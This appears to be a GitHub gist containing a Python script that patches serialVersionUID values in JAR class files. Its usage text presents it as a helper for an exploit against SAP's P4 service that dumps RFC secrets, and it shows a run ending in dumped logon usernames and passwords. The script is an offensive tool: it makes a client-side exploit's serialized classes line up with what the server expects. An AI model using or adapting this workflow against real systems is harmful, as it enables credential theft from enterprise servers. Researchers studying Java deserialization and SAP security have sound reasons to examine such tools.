Skip to content

Instantly share code, notes, and snippets.

@gelim
Created November 11, 2017 09:37
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gelim/db9d5e2f9a6603a1b96618745a8ff8bd to your computer and use it in GitHub Desktop.
Save gelim/db9d5e2f9a6603a1b96618745a8ff8bd to your computer and use it in GitHub Desktop.
JAR serialVersionUID patched
#!/usr/bin/env python [54/1801]
#
# serialVersionUID Java class modifier
# -- gelim @ ERPScan
#
from pprint import pprint
import argparse
import zipfile
import struct
import shutil
import tempfile
import sys
import os
desc = '''
serialVersionUID Java class modifiyer, an attempt
to bypass exception 'java.io.InvalidClassException'...
Use case:
- Attempt to dump RFC secrets via P4
$ java -cp ".:jars/*:*" exploiter 192.168.10.2
[...]
InvalidClassException: Unexpected exception
Cause : java.io.InvalidClassException: com.foo.bar.some.service.BundleConfiguration;
local class incompatible: stream classdesc serialVersionUID = 1018092003, local class serialVersionUID = 13371337
- Looking the problematic JAR (use find+unzip -l)
$ ./jar_serial_pacth.py -r -j jars/problematic.jar
[...]
com/foo/bar/some/service/ApplicationRunnable.class : 8020674783437682317
com/foo/bar/some/service/BundleConfiguration.class : 13371337 <--- patch that
- Patching the proper class
$ jar_serial_pacth.py --write --jar jars/problematic.jar \\
--class com/foo/bar/some/service/BundleConfiguration.class \\
--serial 1018092003 # <--- value asked server-side
- We retry the connection
$ java -cp ".:jars/*:*" exploiter 192.168.10.2
[...]
LOGONCLIENT LOGONUSER LOGONPASSWORD
---------------------------------------------
10.1.0.2 toto superpassword
'''
parser = argparse.ArgumentParser(description=desc,
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-r', '--read', action='store_true',
default=None, help='read / display serialVersionUID of files contained in the JAR')
parser.add_argument('-w', '--write', action='store_true', default=None, help='''
write serialVersionUID of given .class contained
in the JAR (default write to JARFILE.new,
use --inplace if you want to overwrite the actual JAR')
''')
parser.add_argument('-j', '--jar', help='Work on this jar file')
parser.add_argument('-i', '--inplace', action='store_true', help='Work on this jar file')
parser.add_argument('-s', '--serial', default=None, help='Serial to be overwritten in classfile')
parser.add_argument('-c', '--classfile', default=None, help='Class file to work with')
args = parser.parse_args()
# WARNING: hard-coded offset
serial_begin = 37
serial_end = 45
def remove_from_zip(zipfname, *filenames):
tempdir = tempfile.mkdtemp()
try:
tempname = os.path.join(tempdir, 'new.zip')
with zipfile.ZipFile(zipfname, 'r') as zipread:
with zipfile.ZipFile(tempname, 'w') as zipwrite:
for item in zipread.infolist():
if item.filename not in filenames:
data = zipread.read(item.filename)
zipwrite.writestr(item, data)
shutil.move(tempname, zipfname)
finally:
shutil.rmtree(tempdir)
def jar_list(jarfile):
zip = zipfile.ZipFile(jarfile, 'r')
filelist = [ cls.filename for cls in zip.infolist()]
classlist = filter(lambda e: e.endswith('.class'), filelist)
for cls in classlist:
data = zip.read(cls)
ofs_label = data.find('serialVersionUID')
if ofs_label > 0:
version_r = data[ofs_label+serial_begin:ofs_label+serial_end]
version = struct.unpack('>q', version_r)[0]
print cls.ljust(90) + ': %d'.ljust(10) % version
def jar_write(jarfile, classfile, serial):
zip = zipfile.ZipFile(jarfile, 'r')
baseclass = os.path.basename(classfile)
data = zip.read(classfile)
ofs_label = data.find('serialVersionUID')
if ofs_label <= 0:
print "jar_write: ERROR, serialVersionUID not found in classfile", classfile
sys.exit(0)
data_new = data[:ofs_label+serial_begin] + struct.pack('>q', long(serial)) + data[ofs_label+serial_end:]
# write the new class
open("/tmp/%s" % baseclass, "w").write(data_new)
# remove the class in JAR
remove_from_zip(jarfile, classfile)
# add the new patched class
with zipfile.ZipFile(jarfile, 'a') as z:
z.write("/tmp/%s" % baseclass, arcname=classfile)
if __name__ == '__main__':
if args.read and args.jar:
jar_list(args.jar)
if args.write and args.jar and args.classfile and args.serial:
orig_jar = args.jar + ".DISABLED"
shutil.copy(args.jar, orig_jar)
jar_write(args.jar, args.classfile, args.serial)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment